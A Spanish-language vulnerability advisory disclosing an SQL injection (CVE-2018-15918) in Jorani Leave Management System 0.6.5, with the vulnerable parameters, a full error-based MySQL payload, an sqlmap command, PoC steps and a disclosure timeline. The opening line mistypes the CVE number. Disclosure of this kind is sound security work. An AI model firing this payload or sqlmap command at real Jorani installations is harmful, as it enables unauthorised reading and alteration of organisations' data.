Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5, la vulnerabilidad ha sido asociada al CVE-2018-159178.
Jorani CVE-2018-15918
Jorani Leave Management System 0.6.5 – SQL Injection
Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.
📅 Vulnerabilidad descubierta por Javier Olmedo el 02/08/2018
💣 Publicada el 03/09/2018
🔗 Link del software Jorani Leave Management System
🐞 Versión vulnerable = 0.6.5 y posiblemente anteriores
Vector de ataque / Criticidad de la explotación
CRITICIDAD – CRÍTICA
A través de las vulnerabilidades SQL Injection, un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.
Parámetros vulnerables
Los parámetros startdate y enddate son vulnerable a ataques SQL Injection a través de peticiones POST en el recurso /leaves/validate, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.
💉 Payload
id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03′) AND (SELECT 2138 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (‘WfLI’=’WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=
📷 Captura de pantalla de SQLmap lanzando el comando
sqlmap -r jorani-poc.req -p enddate --dbms=MySQL --dbs
Prueba de concepto (PoC)
1. Si añadimos el caracter ‘ en el parámetro startdate obtenemos un error en la aplicación
1.1 Petición
1.2 Respuesta
2. En cambio, al añadir dos ‘, obtenemos un código 200 OK
2.1 Petición
2.2 Respuesta
Timeline
02/08/2018 Descubrimiento de la vulnerabilidad
02/08/2018 Creo issue en GitHub del proyecto
03/08/2018 El desarrollador invalida y cierra el issue 😥
27/08/2018 Solicito CVE
28/08/2018 Asignación de CVE-2018-15918 por MITRE
03/09/2018 Hago pública la vulnerabilidad
Referencias
CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15918
Un saludo a todos!! 👋